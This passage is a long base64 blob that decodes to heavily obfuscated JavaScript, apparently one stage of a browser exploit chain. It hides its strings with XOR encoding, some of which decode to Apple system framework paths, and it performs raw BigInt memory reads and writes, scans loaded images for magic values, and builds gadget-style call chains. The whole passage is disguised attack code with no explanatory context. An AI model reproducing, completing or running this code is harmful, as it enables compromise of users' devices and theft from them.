6TGtnb09Da3BMR0U5WlM1cGNpaHpMa2dvTVRJcEtYMXpQWE11U0NobUtYMXNaWFFnWHoxcE8ybG1LSEltSmlGdkppWWhiU2w3WTI5dWMzUWdjajFsTG1seUtIUXVTQ2cwS1NrN2FXWW9keVltS0RFNU16STJPRE0yTURnZ1hpQXhPVEUxT1RBMk16ZzRLVDA5UFhJbUptYytQU2d4TkRZMk9EUTVOalV3SUY0Z01UUTJOakkxT1RneU5pa3BlMmxtS0c1MWJHdzlQVDFrS1hSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlrN2JHVjBJSFE5WlM1VmNpaGtLUzVFZENncE8ybG1LSFF1UlhRb0tTbDBhSEp2ZHlCdVpYY2dSWEp5YjNJb0lpSXBPMlp2Y2loMFBYUXVRblFvZEM1cGRDVW9NVFk1T1RFMk9UWTBOaUJlSURFMk9Ua3hOek0zTkRJcEtUc29OREk1TkRrMk56STVOaUFySUNneE16RTBOREEwTkRBMElGNGdMVEV6TXpBeU5qVXpORGtwS1NFOVBXVXVhWElvZENrN0tYUTlkQzVDZENnb01UY3hORGszTWpRNU1TQmVJREUzTVRRNU56WTFPRGNwS1R0amIyNXpkQ0J5UFhSb2FYTXVXRzhvZENrN2JEMXlMa2h2TGxwdkxGODljaTVJYnk1TGIzMTlabTl5S0d4bGRDQjBQVEE3ZER4RkxteGxibWQwYUR0MEt5c3BlMk52Ym5OMElISTlSVnQwWFN4bFBYSXVjV1U3Y2k1eFpUMWxMbUZrWkNocEtYMXlaWFIxY200Z2FDWW1ZeVltS0dZOWRTNUlLR01wS1N4dVpYY2dkSFFvZTBkdk9uUXNTbTg2Yml4UmJ6cHBMRmx2T25Vc1dtODZiQ3hMYnpwZkxIUm9PbVlzY21nNllYMHNSU2w5Y2k1MWNqMW1kVzVqZEdsdmJpZ3BlM0psZEhWeWJpQlpLRkF1ZW00dWVXNHNJVEFwZlN4eUxsaHZQVms3WTJ4aGMzTWdkSFI3WTI5dWMzUnlkV04wYjNJb2RDeHlLWHQwYUdsekxraHZQWFFzZEdocGN5NWxhRDF5TEhSb2FYTXVibWc5Ym1WM0lGVnBiblE0UVhKeVlYa29XMTBwTEhSb2FYTXVjMmc5SVRGOWMzSW9LWHR5WlhSMWNtNGdibVYzSUhKMEtIUm9hWE1wZldGeUtDbDdjbVYwZFhKdUlHNWxkeUJsZENoMGFHbHpLWDFwYUNoMEtYdGpiMjV6ZENCeVBYUm9hWE11YjJnb0tGc3hNRGRkTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdOVElwZlNrdWFtOXBiaWdpSWlrcElDc2dLSFFwS1R0eVpYUjFjbTRnY2o5MGFHbHpMa2h2TGtkdkxrZ29jaWs2Ym1WM0lIZ3VWblFvTUN3d0tYMXZhQ2gwS1h0cFppZ2hNVDA5UFhSb2FYTXVjMmdwZTNSb2FYTXVjMmc5SVRBN1kyOXVjM1FnZEQxdVpYY2dWV2x1ZERNeVFYSnlZWGtvZEdocGN5NUlieTV5YUNzelBqNHlLVHRtYjNJb2JHVjBJSEk5TUR0eVBIUXViR1Z1WjNSb08zSXJLeWwwVzNKZFBWQXVlbTR1V0c0dWFYSW9kR2hwY3k1SWJ5NTBhQzVJS0RRcWNpa3BPM1JvYVhNdWJtZzlibVYzSUZWcGJuUTRRWEp5WVhrb2RDNWlkV1ptWlhJcGZXTnZibk4wSUhJOWRHaHBjeTV1YUR0c1pYUWdaVDBpSWl4dVBUQXNjejBoTVR0bWIzSW9PeUZ6T3lsN2N6MGhNRHRzWlhRZ2FUMHdMRzg5TUR0a2IzdHBLejBvS0RJd01EUTFNRFEwTURjZ1hpQXlNREEwTlRBME16WXdLU1p5VzI1ZEtUdzhieXh2S3owM2ZYZG9hV3hsS0NneE5UazRNVGt5TWpNNElGNGdNVFU1T0RFNU1qTTJOaWttY2x0dUt5dGRLVHRwWmlobFBUMDlkQ1ltTUNFOVBXa3BlMjRyS3p0c1pYUWdkRDB3TzI4OU1EdGtiM3QwS3owb0tESXdNVGc1T1RJMk9URWdYaUF5TURFNE9Ua3lOekUyS1NaeVcyNWRLVHc4Ynl4dkt6MDNmWGRvYVd4bEtDZ3hOemd6TnpFMk1UZ3dJRjRnTVRjNE16Y3hOak13T0NrbWNsdHVLeXRkS1R0eVpYUjFjbTRnZEgxdUt6MXBPMk52Ym5OMElHZzljbHR1S3l0ZE8yWnZjaWhzWlhRZ2FUMHdPMms4YUR0cEt5c3BlMnhsZENCcFBTSWlPMlp2Y2lnN01DRTlQWEpiYmwwN0tXa3JQVk4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvY2x0dUt5dGRLVHR1S3lzN2JHVjBJR2c5TUR0dlBUQTdaRzk3YUNzOUtDZ3lNRFV6TlRNd05EYzVJRjRnTWpBMU16VXpNRE00TkNrbWNsdHVYU2s4UEc4c2J5czlOMzEzYUdsc1pTZ29NVGt6TmprME5qVXhOQ0JlSURFNU16WTVORFkyTkRJcEpuSmJiaXNyWFNrN2FXWW9hUzVzWlc1bmRHZ21KbVVyYVQwOVBYUXVjM1ZpYzNSeUtEQXNaUzVzWlc1bmRHZ3JhUzVzWlc1bmRHZ3BLWHRsS3oxcExHNDlhQ3h6UFNFeE8ySnlaV0ZyZlgxOWNtVjBkWEp1SURCOWZXTnNZWE56SUhKMGUyTnZibk4wY25WamRHOXlLSFFwZTNSb2FYTXVhR2c5ZEN4MGFHbHpMbXhvUFhSb2FYTXVhR2d1U0c4dVIyOTlhV2dvZENsN1kyOXVjM1FnY2oxMGFHbHpMbWhvTG05b0tDaGJNVEE1WFM1dFlYQW9lQ0E5UGlCN2NtVjBkWEp1SUZOMGNtbHVaeTVtY205dFEyaGhja052WkdVb2VDQmVJRFV3S1gwcExtcHZhVzRvSWlJcEtTQXJJQ2gwS1NrN2NtVjBkWEp1SUhJL2RHaHBjeTVvYUM1SWJ5NUhieTVJS0hJcE9tNWxkeUI0TGxaMEtEQXNNQ2w5Wm1nb2RDbDdZMjl1YzNRZ2NqMTBhR2x6TG1ob0xtOW9LQ2hiTlRkZExtMWhjQ2g0SUQwK0lIdHlaWFIxY200Z1UzUnlhVzVuTG1aeWIyMURhR0Z5UTI5a1pTaDRJRjRnTVRBeUtYMHBMbXB2YVc0b0lpSXBLU0FySUNoMEtTazdhV1lvSVhJcGRHaHliM2NnYm1WM0lFVnljbTl5S0NJaUtUdHlaWFIxY200Z2NqOTBhR2x6TG1ob0xraHZMa2R2TGtnb2NpazZibVYzSUhndVZuUW9NQ3d3S1gxaGFDaDBLWHR5WlhSMWNtNGdNQ0U5UFhSb2FYTXVhR2d1YjJnb0tGczFYUzV0WVhBb2VDQTlQaUI3Y21WMGRYSnVJRk4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvZUNCZUlEa3dLWDBwTG1wdmFXNG9JaUlwS1NBcklDaDBLU2w5ZFdnb0xpNHVkQ2w3Wm05eUtHTnZibk4wSUhJZ2IyWWdkQ2wwY25sN2NtVjBkWEp1SUhSb2FYTXVabWdvY2lsOVkyRjBZMmdvZENsN1kyOXVkR2x1ZFdWOWRHaHliM2NnYm1WM0lFVnljbTl5S0NJaUtYMTlZMnhoYzNNZ1pYUjdZMjl1YzNSeWRXTjBiM0lvZENsN2RHaHBjeTVvYUQxMExIUm9hWE11WkdnOWJuVnNiQ3gwYUdsekxuZG9QWFJvYVhNdWFHZ3VTRzh1UjI4dWVYUW9LWDFwYUNoMEtYdGpiMjV6ZENCeVBYUm9hWE11YUdndWIyZ29LRnN5TlYwdWJXRndLSGdnUFQ0Z2UzSmxkSFZ5YmlCVGRISnBibWN1Wm5KdmJVTm9ZWEpEYjJSbEtIZ2dYaUEzTUNsOUtTNXFiMmx1S0NJaUtTa2dLeUFvZENrcE8zSmxkSFZ5YmlCeVAzUm9hWE11ZDJncmNqb3dmWFZvS0M0dUxuUXBlMlp2Y2loamIyNXpkQ0J5SUc5bUlIUXBkSEo1ZTNKbGRIVnliaUIwYUdsekxtWm9LSElwZldOaGRHTm9LSFFwZTJOdmJuUnBiblZsZlhSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlsOVlXZ29kQ2w3Y21WMGRYSnVJREFoUFQxMGFHbHpMbWhvTG05b0tDaGJNVGRkTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdOemdwZlNrdWFtOXBiaWdpSWlrcElDc2dLSFFwS1gxbWFDaDBLWHRqYjI1emRDQnlQWFJvYVhNdWFHZ3ViMmdvS0ZzMU1WMHViV0Z3S0hnZ1BUNGdlM0psZEhWeWJpQlRkSEpwYm1jdVpuSnZiVU5vWVhKRGIyUmxLSGdnWGlBeE1EZ3BmU2t1YW05cGJpZ2lJaWtwSUNzZ0tIUXBLVHRwWmlnaGNpbDBhSEp2ZHlCdVpYY2dSWEp5YjNJb0lpSXBPM0psZEhWeWJpQjBhR2x6TG5kb0szSjlaMmdvZENsN2NtVjBkWEp1ZTFobE9uUXVXR1VzY1dVNmRDNXhaUzU1ZENncExFVnZPblF1Ulc4dWVYUW9LU3hQYnpwMExrOXZMbmwwS0Nrc1VXVTZkQzVSWlM1NWRDZ3BMSHB2T25RdWVtOHVlWFFvS1N3a2J6cDBMaVJ2TEhGdk9uUXVjVzhzVFc4NmRDNU5ieXhtYkdGbmN6cDBMbVpzWVdkekxFUnZPblF1Ukc4dWVYUW9LU3hNYnpwMExreHZmWDF0YUNoMEtYdHlaWFIxY201N1dHVTZkQzVZWlN4V2J6cDBMbFp2TEhGbE9uUXVjV1V1ZVhRb0tTeFBienAwTGs5dkxubDBLQ2tzVVdVNmRDNVJaUzU1ZENncGZYMUZhQ2gwS1h0bWIzSW9iR1YwSUhJOU1EdHlQSFJvYVhNdWFHZ3VaV2d1YkdWdVozUm9PM0lyS3lscFppaDBhR2x6TG1ob0xtVm9XM0pkTGxobFBUMDlkQ2x5WlhSMWNtNGdkR2hwY3k1bmFDaDBhR2x6TG1ob0xtVm9XM0pkS1R0eVpYUjFjbTRnYm5Wc2JIMWZhQ2gwTEhJcGUyTnZibk4wSUdVOWRHaHBjeTVGYUNoMEtUdHBaaWh1ZFd4c0lUMDlaU2w3YVdZb01DRTlQVTlpYW1WamRDNXJaWGx6S0dVdVRHOHBMbXhsYm1kMGFDbDdZMjl1YzNRZ2REMWxMa3h2VzNKZE8zSmxkSFZ5YmlCMmIybGtJREFoUFQxMFAzUm9hWE11Yldnb2RDazZiblZzYkgxN2JHVjBJRzQ5Ym5Wc2JEdG1iM0lvYkdWMElITTlNRHR6UEdVdVRXODdjeXNyS1h0amIyNXpkQ0JwUFdVdVJHOHJPREFxY3l4dlBYUXNhRDFRTG5wdUxsaHVMa1Z5S0drc01UWXBMR005ZTFobE9tOHNWbTg2YUN4eFpUcFFMbnB1TGxodUxuSnlLR2tyTXpJcExtRmtaQ2gwYUdsekxtaG9Ma2h2TGxGdktTeFBienBRTG5wdUxsaHVMbkp5S0drck5EQXBMRkZsT2xBdWVtNHVXRzR1Y25Jb2FTczBPQ2w5TzNJOVBUMW9KaVlvYmoxaktTeGxMa3h2VzJoZFBXTjljbVYwZFhKdUlHNC9kR2hwY3k1dGFDaHVLVHB1ZFd4c2ZYMXlaWFIxY200Z2JuVnNiSDFpYUNoMExISXBlMk52Ym5OMElHVTlkR2hwY3k1RmFDaDBLVHRwWmlodWRXeHNJVDA5WlNsbWIzSW9iR1YwSUc0OU1EdHVQR1V1VFc4N2Jpc3JLWHRqYjI1emRDQnpQV1V1Ukc4ck9EQXFiaXhwUFhRc2J6MVFMbnB1TGxodUxrVnlLSE1zTVRZcE8ybG1LSEk5UFQxdktYdGpiMjV6ZENCMFBYdFlaVHBwTEZadk9tOHNjV1U2VUM1NmJpNVliaTV5Y2loekt6TXlLUzVoWkdRb2RHaHBjeTVvYUM1SWJ5NVJieWtzVDI4NlVDNTZiaTVZYmk1eWNpaHpLelF3S1N4UlpUcFFMbnB1TGxodUxuSnlLSE1yTkRncGZUdHlaWFIxY200Z2RHaHBjeTV0YUNoMEtYMTljbVYwZFhKdUlHNTFiR3g5Y0dnb2RDbDdZMjl1YzNRZ2NqMTBhR2x6TGtWb0tIUXBPMmxtS0NGeUtYUm9jbTkzSUc1bGR5QkZjbkp2Y2lnaUlpazdjbVYwZFhKdUlISjlVMmdvS1h0eVpYUjFjbTRnYm5Wc2JEMDlQWFJvYVhNdVpHZ21KaWgwYUdsekxtUm9QVzVsZHlCdWRDaDBhR2x6TG1ob0xraHZMa3R2TG5sMEtDa3NkR2hwY3k1b2FDNUlieTVhYnk1NWRDZ3BLU2tzZEdocGN5NWthSDE0YUNoMEtYdGpiMjV6ZENCeVBYUm9hWE11YVdnb2RDazdjbVYwZFhKdUlEQWhQVDF5UDFBdWVtNHVXRzR1Y25Jb2NpazZibVYzSUhndVZuUW9NQ3d3S1gxSmFDaDBLWHRqYjI1emRDQnlQWFJvYVhNdWNHZ29LRnMyTVN3Z05qRXNJRFUwTENBek9Td2dOVGdzSURVMFhTNXRZWEFvZUNBOVBpQjdjbVYwZFhKdUlGTjBjbWx1Wnk1bWNtOXRRMmhoY2tOdlpHVW9lQ0JlSURrNEtUdDlLUzVxYjJsdUtDSWlLU2twTzNKbGRIVnliaUIwTFhJdVJXOHJjaTV4WlgxVWFDaDBLWHRqYjI1emRDQnlQWFJvYVhNdWFXZ29kQ2s3Y21WMGRYSnVJREFoUFQxeVAxQXVlbTR1V0c0dWJuSW9jaWs2TUgxNWFDaDBMSElwZTJOdmJuTjBJR1U5ZEdocGN5NXBhQ2gwS1R0eVpYUjFjbTRnTUNFOVBXVS9VQzU2Ymk1WWJpNVRjaWhsS1RweWZXdG9LSFFzY2lsN1kyOXVjM1FnWlQxMGFHbHpMa1ZvS0hRcE8ybG1LRzUxYkd3OVBUMWxLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3Wm05eUtHeGxkQ0IwUFRBN2REeGxMazl2TzNRclBUZ3BlMk52Ym5OMElHNDlaUzV4WlN0ME8ybG1LRkF1ZW00dVdHNHVZbklvYmlrOVBUMXlQajQrTUNZbVVDNTZiaTVZYmk1aWNpaHVLelFwUFQwOWNpODBNamswT1RZM01qazJQajQrTUNseVpYUjFjbTRnYm4xMGFISnZkeUJ1WlhjZ1JYSnliM0lvSWlJcGZVOW9LSFFzY2lsN1kyOXVjM1FnWlQxMGFHbHpMa1ZvS0hRcE8ybG1LRzUxYkd3OVBUMWxLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3WTI5dWMzUWdiajFsTG5GbExITTlaUzV4WlN0bExrOXZPM0psZEhWeWJpQnlQajF1SmlaeVBITjllbWdvZEN4eUxHVXBlMk52Ym5OMElHNDlkR2hwY3k1ZmFDaDBMSElwTzJsbUtHNTFiR3c5UFQxdUtYUm9jbTkzSUc1bGR5QkZjbkp2Y2lnaUlpazdZMjl1YzNRZ2N6MXVMbkZsTEdrOWJpNXhaU3R1TGs5dk8zSmxkSFZ5YmlCbFBqMXpKaVpsUEdsOVVHZ29kQ2w3Wm05eUtHeGxkQ0J5UFRBN2NqeDBhR2x6TG1ob0xtVm9MbXhsYm1kMGFEdHlLeXNwYVdZb2RHaHBjeTVQYUNoMGFHbHpMbWhvTG1Wb1czSmRMbGhsTEhRcEtYSmxkSFZ5YmlFd08zSmxkSFZ5YmlFeGZWVm9LSFFzY2lsN1kyOXVjM1FnWlQxMGFHbHpMa1ZvS0hRcE8ybG1LRzUxYkd3OVBUMWxLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3Wm05eUtHeGxkQ0IwUFRBN2REeGxMazl2TzNRclBUZ3BhV1lvVUM1NmJpNVliaTVFY2lobExuRmxLM1FwUFQwOWNpbHlaWFIxY200Z1pTNXhaU3QwTzNSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlsOVFXZ29kQ3h5S1h0amIyNXpkQ0JsUFhSb2FYTXVSV2dvZENrN2FXWW9iblZzYkQwOVBXVXBkR2h5YjNjZ2JtVjNJRVZ5Y205eUtDSWlLVHRtYjNJb2JHVjBJSFE5TUR0MFBHVXVUMjg3ZENzOU9DbHBaaWhRTG5wdUxsaHVMa1J5S0dVdWNXVXJkQ2s5UFQxeUtYSmxkSFZ5YmlCUUxucHVMbGh1TG5KeUtHVXVjV1VyZENrN2RHaHliM2NnYm1WM0lFVnljbTl5S0NJaUtYMGthQ2gwTEhJc1pTbDdZMjl1YzNRZ2JqMTBhR2x6TGtWb0tIUXBPMmxtS0c1MWJHdzlQVDF1S1hSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlrN1kyOXVjM1FnY3oxMGFHbHpMa1ZvS0hJcE8ybG1LRzUxYkd3OVBUMXpLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3Wm05eUtHeGxkQ0IwUFRBN2REeHpMazl2TzNRclBUZ3BlMk52Ym5OMElISTlVQzU2Ymk1WWJpNUVjaWh6TG5GbEszUXBPMmxtS0hJK1BXNHVjV1VtSm5JOGJpNXhaU3R1TGs5dkppWWhNRDA5UFdVb2NpeFFMbnB1TGxodUxuSnlLSE11Y1dVcmRDa3BLV0p5WldGcmZYMXhhQ2gwTEhJcGUyTnZibk4wSUdVOWRHaHBjeTVGYUNoMEtUdHBaaWh1ZFd4c1BUMDlaU2wwYUhKdmR5QnVaWGNnUlhKeWIzSW9JaUlwTzJadmNpaHNaWFFnZEQwd08zUThaUzVQYnp0MEt6MDBLWHRqYjI1emRDQnVQV1V1Y1dVcmREdHBaaWdoTUQwOVBYSW9iaXhRTG5wdUxsaHVMbUp5S0c0cEtTbGljbVZoYTMxOVVtZ29kQ3h5S1h0amIyNXpkQ0JsUFhSb2FYTXVSV2dvZENrN2FXWW9iblZzYkQwOVBXVXBkR2h5YjNjZ2JtVjNJRVZ5Y205eUtDSWlLVHRtYjNJb2JHVjBJSFE5TUR0MFBHVXVUMjg3ZENzOU9DbDdZMjl1YzNRZ2JqMWxMbkZsSzNRN2FXWW9JVEE5UFQxeUtGb3VkWFFvYmlrcEtXSnlaV0ZyZlgxRGFDaDBLWHRtYjNJb1kyOXVjM1FnY2lCdlppQjBhR2x6TG1ob0xtVm9LWHRqYjI1emRDQmxQVm91ZFhRb2NpNXhaU2tzYmoxYUxuVjBLSEl1Y1dVcExrZ29lQzVmS0hJdVQyOHBLVHRwWmloMExsQnBLR1VwSmlaMExsTnBLRzRwS1hKbGRIVnliaUJ5ZlhKbGRIVnliaUJ1ZFd4c2ZYMWpiR0Z6Y3lCdWRIdGpiMjV6ZEhKMVkzUnZjaWgwTEhJcGUzUm9hWE11VFdnOWRDeDBhR2x6TGtSb1BYSXNkR2hwY3k1TWFEMGhNU3gwYUdsekxrSm9QWHQ5TEhSb2FYTXVhVzFoWjJWelBYUm9hWE11VG1nb0tYMVdhQ2dwZTNKbGRIVnliaUJRTG5wdUxsaHVMa1Z5S0hSb2FYTXVSR2dwZlZob0tDbDdjbVYwZFhKdUtGczFOQ3dnTkRNc0lEWXlMQ0ExTkN3Z01UTXNJRE0yTENBNU9Td2dNVEUwTENBeE1UUXNJRFV4TENBek1pd2dOak1zSURFd01Dd2dNVEF5TENBMU5WMHViV0Z3S0hnZ1BUNGdlM0psZEhWeWJpQlRkSEpwYm1jdVpuSnZiVU5vWVhKRGIyUmxLSGdnWGlBNE1pazdmU2t1YW05cGJpZ2lJaWtwUFQwOWRHaHBjeTVXYUNncGZWcG9LQ2w3Y21WMGRYSnVJSFJvYVhNdVRXaDlUbWdvS1h0amIyNXpkQ0IwUFZ0ZE8ybG1LQ0YwYUdsekxsWm9LQ2t1YzNSaGNuUnpWMmwwYUNnb1d6RXpMQ0F4Tml3Z05Td2dNVE5kTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdNVEExS1R0OUtTNXFiMmx1S0NJaUtTa3BLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3YkdWMElISTlVQzU2Ymk1WWJpNWljaWgwYUdsekxrUm9LekkwS1N4bFBWQXVlbTR1V0c0dVluSW9kR2hwY3k1RWFDc3lPQ2s3YVdZb01EMDlQWEltSmpBOVBUMWxKaVlvZEdocGN5NU1hRDBoTUN4eVBWQXVlbTR1V0c0dVluSW9kR2hwY3k1RWFDc29NVEk0TWpZNU1qRTROaUJlSURFeU9ESTJPVEkxTURZcEtTeGxQVkF1ZW00dVdHNHVZbklvZEdocGN5NUVhQ3NvT1RRMk9Ea3dNekEySUY0Z09UUTJPRGt3TmpNd0tTa3NNRDA5UFhJbUpqQTlQVDFsS1NsMGFISnZkeUJ1WlhjZ1JYSnliM0lvSWlJcE8yWnZjaWhzWlhRZ2JqMHdPMjQ4WlR0dUt5c3BlMk52Ym5OMElHVTlkR2hwY3k1RWFDdHlLek15S200c2N6MVFMbnB1TGxodUxrUnlLR1VwSzNSb2FYTXVUV2dzYVQxUUxucHVMbGh1TG1KeUtHVXJNalFwTEc4OVVDNTZiaTVZYmk1RmNpaDBhR2x6TGtSb0sya3BPM1F1Y0hWemFDaDdZV1JrY21WemN6cHpMSEJoZEdnNmIzMHBmWEpsZEhWeWJpQjBmV3BvS0NsN1kyOXVjM1FnZEQxYlhUdG1iM0lvWTI5dWMzUWdjaUJ2WmlCMGFHbHpMbWx0WVdkbGN5bDBMbkIxYzJnb2NpNXdZWFJvS1R0eVpYUjFjbTRnZEgxR2FDaDBMSElwZTNKbGRIVnliaUIwYUdsekxraG9LSFFwTG1ab0tISXBmVXRvS0hRcGUyWnZjaWhqYjI1emRDQnlJRzltSUhSb2FYTXVhVzFoWjJWektYUnllWHR5WlhSMWNtNGdkR2hwY3k1SWFDaHlMbkJoZEdncExtWm9LSFFwZldOaGRHTm9LSFFwZTJOdmJuUnBiblZsZlhSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlsOVIyZ29kQ2w3Wm05eUtHeGxkQ0J5UFRBN2NqeDBhR2x6TG1sdFlXZGxjeTVzWlc1bmRHZzdjaXNyS1dsbUtDMHhJVDA5ZEdocGN5NXBiV0ZuWlhOYmNsMHVjR0YwYUM1cGJtUmxlRTltS0hRcEtYSmxkSFZ5YmlCMGFHbHpMbWx0WVdkbGMxdHlYUzVoWkdSeVpYTnpPM0psZEhWeWJpQXdmVWhvS0hRcGUybG1LSFp2YVdRZ01EMDlQWFJvYVhNdVFtaGJkRjBwZTJOdmJuTjBJSEk5ZEdocGN5NUhhQ2gwS1R0cFppZ3dQVDA5Y2lseVpYUjFjbTRnYm5Wc2JEdDBhR2x6TGtKb1czUmRQVmtvZUM1V2RDNTFkQ2h5S1NrdVlYSW9LWDF5WlhSMWNtNGdkR2hwY3k1Q2FGdDBYWDFLYUNoMEtYdGpiMjV6ZENCeVBYUm9hWE11U0dnb2RDazdhV1lvYm5Wc2JEMDlQWElwZEdoeWIzY2dibVYzSUVWeWNtOXlLQ0lpS1R0eVpYUjFjbTRnY24xUmFDZ3VMaTUwS1h0bWIzSW9ZMjl1YzNRZ2NpQnZaaUIwS1hSeWVYdHlaWFIxY200Z2RHaHBjeTVLYUNoeUtYMWpZWFJqYUNoMEtYdDlkR2h5YjNjZ2JtVjNJRVZ5Y205eUtDSWlLWDE5Y21WMGRYSnVJSEk3Iik7Y29uc3QgeD1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMTMsIDExNSwgMTE0LCAxMTgsIDExNiwgMTE4LCAxMTYsIDExNCwgMzIsIDExNCwgMTE4LCAxMTYsIDExNSwgMTI1LCAzOCwgMzcsIDM3LCAzMiwgMTE2LCAzMywgMTEzLCAxMTUsIDMzLCAxMTQsIDMyLCAxMjUsIDMzLCAzOSwgMTI1LCAxMTksIDExNywgMTE4LCAxMTYsIDM5LCAxMTYsIDM0LCAxMTMsIDExOCwgMTEyLCAxMTVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNjgpO30pLmpvaW4oIiIpKSkse046Ryx0bjpXLG5uOkMsVnQ6bSxVOmosQW46Uyx2bjpPLFQ6bCx2Om8sSTp1LEI6cyxLOlIsTzpLfT1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMjcsIDEyNSwgMTI0LCAxMjAsIDEyMiwgMTIwLCAxMjIsIDEyNCwgNDYsIDEyNCwgMTIwLCAxMjIsIDEyNSwgMTE1LCA0MCwgNDMsIDQzLCA0NiwgMTIyLCA0NywgMTI3LCAxMjUsIDQ3LCAxMjQsIDQ2LCAxMTUsIDQ3LCA0MSwgMTE1LCAxMjEsIDEyMywgMTIwLCAxMjIsIDQxLCAxMjIsIDQ0LCAxMjcsIDEyMCwgMTI2LCAxMjVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzQpO30pLmpvaW4oIiIpKSksUD1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMTIsIDExNywgMTE5LCAxMTksIDEyMCwgMzQsIDMyLCAxMTQsIDM1LCAxMTIsIDExNiwgMTEyLCAxMjAsIDM1LCAzMiwgMTE1LCAzMiwgMTIxLCAzOSwgMTE3LCAxMTMsIDM1LCAzNiwgMTE1LCAxMjEsIDExOCwgMzksIDExOSwgMTE3LCAxMTksIDM3LCAxMTcsIDM3LCAxMTgsIDExNiwgMTIwLCAxMTQsIDM2LCAzNSwgMTEzXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDY1KTt9KS5qb2luKCIiKSkpO3IucWQ9ZnVuY3Rpb24oKXtQLnpuLkRuLFAuem4uWG4sUC56bi5qbixQLnpuLlduO2NvbnN0IGk9bmV3IGlpLGM9KHdpbmRvdy5wZXJmb3JtYW5jZS5ub3coKSxpLmlJKCgxMTYwNzg3MDIxIF4gMTA5MzY3ODE1NykpKSxvPW5ldyBVaW50MzJBcnJheShuZXcgVWludDMyQXJyYXkoMzIpLmZpbGwoKDQyOTQ5NjcyOTYgKyAoMTg2ODgzNzI0MCBeIC0xMTY3NjUwNDU3KSkpKTtpLmNJKG8pO2kub0koYyxvKTtQLnpuLlJuPW5ldyBvaShpKSxQLnpuLkpuPWl9O2NsYXNzIGlpe2NvbnN0cnVjdG9yKCl7Y29uc3QgaT1QLnpuLkRuLGM9KFAuem4uWG4sUC56bi5qbik7dGhpcy50ST17SUk6Yy5kYShpLm5sLlNhLDB4MG4pfSx0aGlzLm5JPVAuem4uWWgucWIoMHgzMDBuKSx0aGlzLmhJPW5ldyBjaSx0aGlzLnNJKCksdGhpcy55SSgpLHRoaXMubEkoKX1zSSgpe1Auem4uRG47Y29uc3QgaT1QLnpuLlhuLGM9UC56bi5qbjt0aGlzLkNJPVAuem4uWWgucWIoMHg4MG4pO2NvbnN0IG89UC56bi5Ebi50bCgoWzcwLCA1OCwgMTYsIDI2LCAyOSwgMTIsIDQsIDcwLCAzNywgMCwgMTEsIDI3LCA4LCAyNywgMTYsIDcwLCA0NywgMjcsIDgsIDQsIDEyLCAzMCwgNiwgMjcsIDIsIDI2LCA3MCwgMzUsIDgsIDMxLCA4LCA1OCwgMTAsIDI3LCAwLCAyNSwgMjksIDQyLCA2LCAyNywgMTIsIDcxLCAxNSwgMjcsIDgsIDQsIDEyLCAzMCwgNiwgMjcsIDIsIDcwLCAzNSwgOCwgMzEsIDgsIDU4LCAxMCwgMjcsIDAsIDI1LCAyOSwgNDIsIDYsIDI3LCAxMl0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiAxMDUpO30pLmpvaW4oIiIpKSkua2woKFsyMiwgMjIsIDE5LCA3LCAxMjIsIDMsIDI2LCAxMCwgMTIwLCAxMjcsIDM1LCAzMiwgNjEsIDYsIDU3LCA0NCwgNTksIDQwLCA2MSwgMzIsIDM4LCAzOSwgNSwgMzIsIDU4LCA2MSwgMTJdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzMpO30pLmpvaW4oIiIpKSksdD1pLktpKG8pO2lmKDB4MG49PT10KXRocm93IG5ldyBFcnJvcigiIik7Y29uc3QgST1qKGkuYnIodC0weDRuKSk7aWYoMHgwbj09PUkpdGhyb3cgbmV3IEVycm9yKCIiKTtjb25zdCBuPSgoKT0+e2ZvcihsZXQgYz0wO2M8STtjKyspe2NvbnN0IG89aS5LaSh0K2ooMTYqYykpO2lmKDB4MG49PT1vKWNvbnRpbnVlO2NvbnN0IEk9aS5LaSh0K2ooMTYqYykrMHg4bik7aWYoKDQyOTQ5NjcyOTYgKyAoODI5ODM4NDMxIF4gLTQ2OTc5NzI2MikpPT09aS5icihvKSYmKDQyOTQ5NjcyOTYgKyAoODA4NTM5MjQ3IF4gLTQxNjM5MzE4MikpPT09aS5icihvKzB4NG4pKXJldHVybiBJfXRocm93IG5ldyBFcnJvcigiIil9KSgpO2kuU28oKS5qbyhbW3RoaXMuQ0ksW1tpLmtvLDgsbl0sW2kua28sMTYsMHhCMzg5bl0sW2kua28sMjQsYy5tYigweDQ5MTFuKV0sW2kua28sMzIsMHg0OTExbl1dXV0pfXlJKCl7UC56bi5Ebjtjb25zdCBpPVAuem4uWG4sYz1QLnpuLmpuLG89bmV3IFVpbnQzMkFycmF5KFsoNDI5NDk2NzI5NiArICgyMDAzOTgyMTU3IF4gLTE1Njk2MjI5OTApKSwoNDI5NDk2NzI5NiArICgxMzk1NzQwMjY2IF4gLTkxMjgxMDA4KSksKDQyOTQ5NjcyOTYgKyAoODYwNjQ0OTc5IF4gL